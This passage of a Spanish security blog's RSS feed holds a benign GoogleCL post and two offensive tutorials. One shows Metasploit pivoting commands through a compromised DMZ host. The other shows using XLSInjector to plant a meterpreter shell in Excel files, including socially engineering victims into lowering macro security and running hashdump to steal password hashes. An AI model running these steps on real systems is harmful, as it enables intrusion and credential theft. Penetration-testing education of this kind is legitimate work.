href="http://code.google.com/p/googlecl/downloads/list">para Debian o sus deribados (ubuntu)</a> con el que se puede instalar fácilmente.</p><p>Agunos ejemplos de lo que podemos hacer con GoogleCL:</p><ul><li><strong>Blogger</strong></li><blockquote><p><tt>$ google blogger  post --title "GoogleCL" "escribiendo desde linea de comandos"</tt></p></blockquote></ul><ul><li><strong>Calendar</strong></li><blockquote><p><tt>$  google calendar add "Escribir Articulos para la Comunidad DragonJAR"</tt></p></blockquote></ul><ul><li><strong>Contacts</strong></li><blockquote><p><tt>$  google contacts list name,email &gt; contactos.csv</tt></p></blockquote></ul><ul><li><strong>Docs</strong></li><blockquote><p><tt>$  google docs edit --title "Lista de tareas"</tt></p></blockquote></ul><ul><li><strong>Picasa</strong></li><blockquote><p><tt>$  google picasa create --album "Fotos Campus Party" ~/fotos/eventos/campus/*.jpg</tt></p></blockquote></ul><ul><li><strong>Youtube</strong></li><blockquote><p><tt>$  google youtube post --category Tecnología dragonjartvcap1.avi</tt></p></blockquote></ul><p>Seguro esta herramienta nos sera muy útil para automatizar tareas, realizar backups o cualquier otra cosa que se nos ocurra, ya que el script es bastante personalizable y fácil de entender.</p><p>Para mas información <a
href="http://code.google.com/p/googlecl/">visita la pagina oficial del GoogleCL en Google Code</a>.</p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/curso-de-python-dictado-por-google.xhtml" title="Curso de Python dictado por Google">Curso de Python dictado por Google</a></li><li><a
href="http://www.dragonjar.org/como-configurar-ldap-en-ubuntu-server-o-debian.xhtml" title="Cómo configurar LDAP en Ubuntu Server o Debian">Cómo configurar LDAP en Ubuntu Server o Debian</a></li><li><a
href="http://www.dragonjar.org/ipad-wiimote-consola-arcade-portable.xhtml" title="iPad + Wiimote = Consola Arcade Portable">iPad + Wiimote = Consola Arcade Portable</a></li><li><a
href="http://www.dragonjar.org/la-vida-en-modo-texto-ii.xhtml" title="La vida en modo texto II">La vida en modo texto II</a></li><li><a
href="http://www.dragonjar.org/la-vida-en-modo-texto-i.xhtml" title="La vida en modo texto I">La vida en modo texto I</a></li><li><a
href="http://www.dragonjar.org/cupos-disponibles-en-el-sena.xhtml" title="Cupos disponibles en el SENA">Cupos disponibles en el SENA</a></li><li><a
href="http://www.dragonjar.org/the-social-engineer-toolkit.xhtml" title="The Social-Engineer Toolkit">The Social-Engineer Toolkit</a></li><li><a
href="http://www.dragonjar.org/google-hacking.xhtml" title="Google Hacking">Google Hacking</a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/google-por-linea-de-comandos.xhtml/feed</wfw:commentRss> <slash:comments>16</slash:comments> </item> <item><title>Bypass con Metasploit: atacando a nuestro objetivo desde una maquina ya comprometida</title><link>http://www.dragonjar.org/bypass-con-metasploit-atacando-a-nuestro-objetivo-desde-una-maquina-ya-comprometida.xhtml</link> <comments>http://www.dragonjar.org/bypass-con-metasploit-atacando-a-nuestro-objetivo-desde-una-maquina-ya-comprometida.xhtml#comments</comments> <pubDate>Sun, 24 Jan 2010 21:12:55 +0000</pubDate> <dc:creator>Epsilon</dc:creator> <category><![CDATA[Herramientas Seguridad]]></category> <category><![CDATA[Pentest]]></category> <category><![CDATA[bypass]]></category> <category><![CDATA[consola]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[framework metasploit]]></category> <category><![CDATA[Maquinas]]></category> <category><![CDATA[Metasploit]]></category> <category><![CDATA[metasploit bypass]]></category> <category><![CDATA[meterpreter]]></category> <category><![CDATA[saltos]]></category> <category><![CDATA[Seguridad]]></category> <category><![CDATA[Seguridad Informática]]></category> <category><![CDATA[Sesión]]></category> <category><![CDATA[Vulnerabilidad]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=3735</guid> <description><![CDATA[Algunas veces, al realizar un ataque es necesario vulnerar varias maquinas hasta llegar a nuestro objetivo final,  uno de los interrogantes mas  comunes en estas situaciones es ¿Como puedo atacar una maquina desde otra la cual ya tenga acceso? Veamos un ejemplo: Como podemos ver en la imagen anterior, un atacante puede ganar el acceso [...]]]></description> <content:encoded><![CDATA[<p>Algunas veces, al realizar un ataque es necesario vulnerar varias <a
href="http://www.dragonjar.org/tag/maquinas" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Maquinas">maquinas</a> hasta llegar a nuestro objetivo final,  uno de los interrogantes mas  comunes en estas situaciones es ¿Como puedo atacar una maquina desde otra la cual ya tenga acceso?</p><p>Veamos un ejemplo:</p><p
style="text-align: center;"><img
class="aligncenter" title="pivote metasploit" src="http://img25.imageshack.us/img25/1043/pivote.png" alt="pivote Bypass con Metasploit: atacando a nuestro objetivo desde una maquina ya comprometida" width="446" height="472" /></p><p
style="text-align: left;">Como podemos ver en la imagen anterior, un atacante puede ganar el acceso en algún servidor que se encuentre en la DMZ (zona desmiritalizada) y desde allí atacar otras maquinas que se encuentren detrás del cortafuegos. Para hacer esto posible el  amado  y conocido <a
href="http://www.dragonjar.org/tag/metasploit" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Metasploit">Metasploit</a> nos puede ser muy útil.<span
id="more-3735"></span></p><p
style="text-align: left;">El primer paso obviamente  es encontrar una <a
href="http://www.dragonjar.org/tag/vulnerabilidad" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Vulnerabilidad">vulnerabilidad</a> en el servidor que se encuentra en la DMZ, explotarla usando como payload <a
href="http://www.dragonjar.org/tag/meterpreter" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con meterpreter">meterpreter</a>. En la <a
href="http://www.dragonjar.org/tag/consola" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con consola">consola</a> del metasploit digitamos:</p><blockquote><p><code>use [<a
href="http://www.dragonjar.org/tag/exploit" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Exploit">exploit</a> que ataca la vulnerabilidad encontrada]<br
/> set PAYLOAD windows/meterpreter/bind_tcp<br
/> set RHOST [ip_host_dmz]<br
/> exploit-que-ataca-la-vulnerabilidad-encontrada</code></p></blockquote><p>Ahora necesitamos saber el ID de la <a
href="http://www.dragonjar.org/tag/sesion" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Sesión">sesión</a>, para esto digitamos lo siguiente en la consola de meterpreter:</p><blockquote><p><code>sessions -l</code></p></blockquote><p>El siguiente paso es crear una ruta hacia la maquina objetivo, indicando su ip, la mascara y el ID session que obtuvimos en el paso anterior:</p><blockquote><p><code>msf&gt; route add [ip_maquina_objetivo] [Mascara  de red] [ID-Session]</code></p></blockquote><p>Por ultimo, lanzamos el ataque a la maquina objetivo, de forma normal como se haría en cualquier caso, es decir buscando la vulnerabilidad y aplicando el exploit respectivo, lo diferente es que debemos decirle al metasploit que debe pasar por el pc que ya se tiene acceso:</p><blockquote><p><code>msf&gt; use [exploit_necesario]<br
/> msf&gt; set PAYLOAD windows/meterpreter/bind_tcp<br
/> msf&gt; set RHOST [maquina_objetivo]<br
/> msf&gt; exploit</code></p></blockquote><p>De esta forma podremos bypassear usando el metasploit, algo muy útil para todos los interesados en el área de la <a
href="http://www.dragonjar.org/tag/seguridad-informatica" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Seguridad Informática">seguridad informática</a></p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/multiples-distribuciones-de-seguridad-en-tu-usb-con-katana.xhtml" title="Katana 2.0 Múltiples Distribuciones de Seguridad en tu USB">Katana 2.0 Múltiples Distribuciones de Seguridad en tu USB</a></li><li><a
href="http://www.dragonjar.org/como-tomar-control-dominio-windows.xhtml" title="¿Cómo tomar control de un Dominio en Windows?">¿Cómo tomar control de un Dominio en Windows?</a></li><li><a
href="http://www.dragonjar.org/video-explotando-wm-downloader.xhtml" title="Video: Explotando WM Downloader ">Video: Explotando WM Downloader </a></li><li><a
href="http://www.dragonjar.org/video-tutorial-fingerprint-escaneo-basico.xhtml" title="Video Tutorial Fingerprint y Escaneo Básico">Video Tutorial Fingerprint y Escaneo Básico</a></li><li><a
href="http://www.dragonjar.org/todos-los-videos-de-antichat-parte-i.xhtml" title="Todos los Vídeos de AntiChat &#8211; Parte I">Todos los Vídeos de AntiChat &#8211; Parte I</a></li><li><a
href="http://www.dragonjar.org/todos-los-videos-de-antichat-parte-ii.xhtml" title="Todos los Vídeos de AntiChat &#8211; Parte II">Todos los Vídeos de AntiChat &#8211; Parte II</a></li><li><a
href="http://www.dragonjar.org/101-libros-de-seguridad-informatica-gratis.xhtml" title="101 Libros de Seguridad Informática Gratis">101 Libros de Seguridad Informática Gratis</a></li><li><a
href="http://www.dragonjar.org/bugcon.xhtml" title="BugCON 2012">BugCON 2012</a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/bypass-con-metasploit-atacando-a-nuestro-objetivo-desde-una-maquina-ya-comprometida.xhtml/feed</wfw:commentRss> <slash:comments>7</slash:comments> </item> <item><title>XLSInjector &#8211; Inyectar Shell Meterpreter en Archivos Excel</title><link>http://www.dragonjar.org/xlsinjector-inyectar-shell-meterpreter-archivos-excel.xhtml</link> <comments>http://www.dragonjar.org/xlsinjector-inyectar-shell-meterpreter-archivos-excel.xhtml#comments</comments> <pubDate>Thu, 26 Nov 2009 02:31:56 +0000</pubDate> <dc:creator>DragoN</dc:creator> <category><![CDATA[Documentacion]]></category> <category><![CDATA[Herramientas Seguridad]]></category> <category><![CDATA[Pentest]]></category> <category><![CDATA[consola]]></category> <category><![CDATA[Documentos]]></category> <category><![CDATA[Ejecución]]></category> <category><![CDATA[meterpreter]]></category> <category><![CDATA[microsoft excel]]></category> <category><![CDATA[Shell]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=3433</guid> <description><![CDATA[Para nadie es un secreto que la suite ofimática mas utilizada en el mundo es Microsoft Office, que se lleva la mayor parte de la cuota de mercado en entornos Windows y Mac, de esta suite, las aplicaciones mas utilizadas son Microsoft Word, Microsoft Excel y Microsoft Power Point que casi siempre están instaladas en [...]]]></description> <content:encoded><![CDATA[<p>Para nadie es un secreto que la suite ofimática mas utilizada en el mundo es Microsoft Office, que se lleva la mayor parte de la cuota de mercado en entornos Windows y Mac, de esta suite, las aplicaciones mas utilizadas son Microsoft Word, <a
href="http://www.dragonjar.org/tag/microsoft-excel" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con microsoft excel">Microsoft Excel</a> y Microsoft Power Point que casi siempre están instaladas en la mayoría de computadores.</p><p>En esta ocasión les voy a hablar sobre <a
href="http://code.google.com/p/xlsinjector/">XLSInjector</a>, una herramienta creada en perl por <a
style="white-space: nowrap;" href="http://code.google.com/u/keith.lee2012/">keith lee</a> que permite inyectar en un archivo XLS de Microsoft Excel una <a
href="http://www.dragonjar.org/tag/consola" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con consola">consola</a> <a
href="http://www.dragonjar.org/tag/meterpreter" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con meterpreter">meterpreter</a> (ejecutando todo en la memoria ram sin crear procesos adicionales), permitiéndonos acceder a el remotamente por el puerto 4444 y tomar total <a
href="http://www.dragonjar.org/tag/control" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con control">control</a> de la maquina.</p><p
style="text-align: center;"><img
class="alignnone" title="Shell en Microsoft Excel" src="http://farm3.static.flickr.com/2504/4141619399_6369cd84b7.jpg" alt="4141619399 6369cd84b7 XLSInjector   Inyectar Shell Meterpreter en Archivos Excel" width="357" height="172" /></p><p>Para que XLSInjector funcione adecuadamente, necesitamos lo siguiente:</p><ul><li>Una Maquina (virtual o real) con Windows</li><li>Microsoft Excel</li><li><a
href="http://www.activestate.com/activeperl/">Perl</a></li><li>El modulo <a
href="http://search.cpan.org/CPAN/authors/id/J/JD/JDB/Win32-OLE-0.1709.tar.gz">Win32:OLE</a> para Perl</li><li>Un archivo XML a infectar</li><li>El <a
href="http://code.google.com/p/xlsinjector/">XLSInjector</a></li><li>y por ultimo el <a
href="http://www.metasploit.com/">Metasploit Framework</a></li></ul><p>Después de tener todos los elementos necesarios para el correcto funcionamiento del XLSInjector pasamos a su <a
href="http://www.dragonjar.org/tag/ejecucion" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Ejecución">ejecución</a>, que es bastante simple:<span
id="more-3433"></span></p><p><code>perl xlsinjector.pl -i ArchivoDeExcel.xls  -o ArchivoConShellDeExcel.xls</code></p><p>Pero no todo es tan simple con esta herramienta, resulta que XLSInjector NO salta los filtros de scripting puestos por Microsoft en su suite ofimática, por lo que toca convencer, por medio de ingeniería social o cualquier otra técnica que el mismo usuario ponga la <a
href="http://www.dragonjar.org/tag/seguridad" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Seguridad">seguridad</a> de las macros en baja y que &#8220;confié&#8221; en los proyectos de VB, algo complicado pero que seguro con algo de presunción se consigue que realicen estas tareas.</p><p>Suponiendo que ya se realizaron las configuraciones adecuadas para el correcto funcionamiento del XLSInjector vamos a acceder remotamente a nuestra <a
href="http://www.dragonjar.org/tag/shell" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Shell">shell</a> meterpreter mediante la consola del <a
href="http://www.dragonjar.org/tag/metasploit" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Metasploit">Metasploit</a> Framework</p><ul><li>iniciamos la consola del metasploit</li><li>una vez en la consola de MSF cargamos el payload de meterpreter<br
/> <code>set payload windows/meterpreter/bind_tcp</code></li><li>lo configuramos adecuadamente<br
/> <code>set RHOST ipdelpcvictima<br
/> set RPOT 4444</code></li><li>luego lo lanzamos<br
/> <code><a
href="http://www.dragonjar.org/tag/exploit" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Exploit">exploit</a></code></li></ul><p>Con estos simples pasos tenemos a nuestra disposición una shell meterpreter en el equipo remoto, hay que recordar que las shell meterpreter son diferentes a las del sistema operativo, y tienen su propio listado de comandos, puedes sacar el listado de comandos disponibles para la shell meterpreter escribiendo &#8220;?&#8221; y enter, te arrojara algo parecido a esto:</p><blockquote><p><code>Core Commands<br
/> =============</code></p><p><code>Command       Description<br
/> ——-       ———–<br
/> ?             Help menu<br
/> channel       Displays information about active channels<br
/> close         Closes a channel<br
/> exit          Terminate the meterpreter session<br
/> help          Help menu<br
/> interact      Interacts with a channel<br
/> irb           Drop into irb scripting mode<br
/> migrate       Migrate the server to another process<br
/> quit          Terminate the meterpreter session<br
/> read          Reads data from a channel<br
/> run           Executes a meterpreter script<br
/> use           Load a one or more meterpreter extensions<br
/> write         Writes data to a channel</code></p><p><code>Stdapi: File system Commands<br
/> ============================</code></p><p><code>Command       Description<br
/> ——-       ———–<br
/> cat           Read the contents of a file to the screen<br
/> cd            Change directory<br
/> download      Download a file or directory<br
/> edit          Edit a file<br
/> getlwd        Print local working directory<br
/> getwd         Print working directory<br
/> lcd           Change local working directory<br
/> lpwd          Print local working directory<br
/> ls            List files<br
/> mkdir         Make directory<br
/> pwd           Print working directory<br
/> rmdir         Remove directory<br
/> upload        Upload a file or directory</code></p><p><code>Stdapi: Networking Commands<br
/> ===========================</code></p><p><code>Command       Description<br
/> ——-       ———–<br
/> ipconfig      Display interfaces<br
/> portfwd       Forward a local port to a remote service<br
/> route         View and modify the routing table</code></p><p><code>Stdapi: System Commands<br
/> =======================</code></p><p><code>Command       Description<br
/> ——-       ———–<br
/> execute       Execute a command<br
/> getpid        Get the current process identifier<br
/> getuid        Get the user that the server is running as<br
/> kill          Terminate a process<br
/> ps            List running processes<br
/> reboot        Reboots the remote computer<br
/> reg           Modify and interact with the remote registry<br
/> rev2self      Calls RevertToSelf() on the remote machine<br
/> shutdown      Shuts down the remote computer<br
/> sysinfo       Gets information about the remote system, such as OS</code></p><p><code>Stdapi: User interface Commands<br
/> ===============================</code></p><p><code>Command       Description<br
/> ——-       ———–<br
/> idletime      Returns the number of seconds the remote user has been idle<br
/> uictl         Control some of the user interface components</code></p><p><code>Priv: Password database Commands<br
/> ================================</code></p><p><code>Command       Description<br
/> ——-       ———–<br
/> hashdump      Dumps the contents of the SAM database</code></p><p><code>Priv: Timestomp Commands<br
/> ========================</code></p><p><code>Command       Description<br
/> ——-       ———–<br
/> timestomp     Manipulate file MACE attributes </code></p></blockquote><p>Hay que resaltar la potencia de meterpreter para inyectar dll’s, subir ficheros, ejecutar scripts, te recomiendo que le des una leída a estos <a
href="http://www.dragonjar.org/tag/documentos" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con Documentos">documentos</a> (<a
href="http://www.nologin.org/Downloads/Papers/meterpreter.pdf">Meterpreter.pdf</a> y <a
href="http://www.learnsecurityonline.com/vid/MSF3-met/MSF3-met.html">MSF3-met.html</a>) para que aprendas mas sobre los comandos del meterpreter.</p><p>Te recomiendo utilizar el comando <code>migrate</code> tan pronto puedas para evitar que tan pronto cierren el archivo XLS se cierre con el tu shell, otro comando recomendado es <code>hashdump</code> que te arroja el contenido del archivo SAM en la maquina victima para que posteriormente puedas obtener la clave de los usuarios con herramientas como <a
href="http://www.l0phtcrack.com/">l0phtcrack</a> o <a
href="http://www.oxid.it/cain.html">cain&amp;abel</a>.</p><p>Por ultimo les dejo el video del autor, donde nos enseña el funcionamiento del XLSInjector</p><p
id="preview" style="text-align: center;"><object
id="player" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="564" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param
name="name" value="player" /><param
name="flashvars" value="file=http://videos.securitytube.net/Injecting-Meterpreter-into-Excel-files-using-XLSInjector.mp4" /><param
name="src" value="http://miliw0rm.securitytube.net/player.swf" /><param
name="allowfullscreen" value="true" /><param
name="quality" value="high" /><embed
id="player" type="application/x-shockwave-flash" width="640" height="564" src="http://miliw0rm.securitytube.net/player.swf" quality="high" allowfullscreen="true" flashvars="file=http://videos.securitytube.net/Injecting-Meterpreter-into-Excel-files-using-XLSInjector.mp4" name="player"></embed></object></p><p><script src="http://miliw0rm.securitytube.net/swfobject.js" type="text/javascript"></script><script type="text/javascript">// <![CDATA[
   var s1 = new SWFObject('http://miliw0rm.securitytube.net/player.swf','player','640','564','9'); s1.addParam('allowfullscreen','true'); s1.addParam('allowscriptaccess','always'); s1.addParam('flashvars','file=http://videos.securitytube.net/Injecting-Meterpreter-into-Excel-files-using-XLSInjector.mp4'); s1.write('preview');
// ]]&gt;</script></p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/manual-en-espanol-de-meterpreter.xhtml" title="Manual en español de Meterpreter">Manual en español de Meterpreter</a></li><li><a
href="http://www.dragonjar.org/bypass-con-metasploit-atacando-a-nuestro-objetivo-desde-una-maquina-ya-comprometida.xhtml" title="Bypass con Metasploit: atacando a nuestro objetivo desde una maquina ya comprometida">Bypass con Metasploit: atacando a nuestro objetivo desde una maquina ya comprometida</a></li><li><a
href="http://www.dragonjar.org/foca-herramienta-para-analisis-meta-datos.xhtml" title="FOCA &#8211; Herramienta para análisis de Meta Datos">FOCA &#8211; Herramienta para análisis de Meta Datos</a></li><li><a
href="http://www.dragonjar.org/ipad-wiimote-consola-arcade-portable.xhtml" title="iPad + Wiimote = Consola Arcade Portable">iPad + Wiimote = Consola Arcade Portable</a></li><li><a
href="http://www.dragonjar.org/como-descubrir-vulnerabilidades-y-escribir-exploits.xhtml" title="Cómo descubrir vulnerabilidades y escribir exploits">Cómo descubrir vulnerabilidades y escribir exploits</a></li><li><a
href="http://www.dragonjar.org/la-vida-en-modo-texto-ii.xhtml" title="La vida en modo texto II">La vida en modo texto II</a></li><li><a
href="http://www.dragonjar.org/la-vida-en-modo-texto-i.xhtml" title="La vida en modo texto I">La vida en modo texto I</a></li><li><a
href="http://www.dragonjar.org/google-por-linea-de-comandos.xhtml" title="Google por linea de comandos">Google por linea de comandos</a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/xlsinjector-inyectar-shell-meterpreter-archivos-excel.xhtml/feed</wfw:commentRss> <slash:comments>6</slash:comments> <enclosure
url="http://videos.securitytube.net/Injecting-Meterpreter-into-Excel-files-using-XLSInjector.mp4" length="7702120" type="video/mp4" /> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 24/92 queries in 0.108 seconds using disk: basic
Object Caching 3210/3330 objects using disk: basic

Served from: www.dragonjar.org @ 2012-02-11 22:29:54 -->
